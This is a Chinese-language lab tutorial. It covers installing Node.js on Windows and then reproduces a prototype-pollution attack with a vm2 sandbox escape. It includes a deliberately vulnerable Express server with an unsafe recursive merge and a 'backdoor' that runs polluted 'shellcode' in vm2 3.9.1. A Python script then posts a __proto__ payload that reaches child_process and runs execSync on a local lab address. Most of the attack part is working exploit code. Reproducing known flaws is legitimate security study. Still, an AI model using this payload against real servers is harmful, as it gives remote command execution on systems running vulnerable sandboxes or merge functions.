Windows环境安装
一、下载安装node.js
链接: https://nodejs.org/
下载后直接选择选择下一步安装就行。
二、 问题描述
安装了node.js之后,使用npm --version可能会提示 ‘npm’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
那么有可能是环境变量没设置好。
三、解决问题
打开高级系统设置
打开环境变量
选中Path列,并点击编辑
配置node.js环境变量(node.js环境变量路径就是安装node的路径)
启动cmd命令窗口输入npm --version查看版本信息
四、安装模块
npm 安装 Node.js 模块语法格式如下:
npm install <Module Name>
1. 安装express
npm install express
A:\AnQuan\node.js>npm install express
A:\AnQuan\node.js>npm list
…………
A:\AnQuan\node.js
…………
+-- express@4.18.2 extraneous
…………
2. 安装package.json
npm install package.json
…………
A:\AnQuan\node.js>npm list
…………
3. 安装vm2
npm install vm2@3.9.1 #@后面接的是版本
…………
A:\AnQuan\node.js>npm list
…………
+-- vm2@3.9.1 extraneous
…………
4. 执行文件
案例复现
- 案例
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
2.案例代码运行
这里一直处于运行状态,等数据提交
3.python数据提交
具体代码如下:
import requests
import json
url = "http://192.168.56.1:3000/"
headers = {"Content-type": "application/json"}
data = {"shit": "1", "__proto__": {
"shellcode": "let res = import('./app.js')\n res.toString.constructor(\"return this\")\n ().process.mainModule.require(\"child_process\").execSync('dir').toString();"}}
req = requests.post(url=url, headers=headers, data=json.dumps(data))
print(req.text)
注意:url = "http://192.168.56.1:3000/"中的IP地址来自如下:
当python数据提交时,上面运行的js.js的程序就会收到数据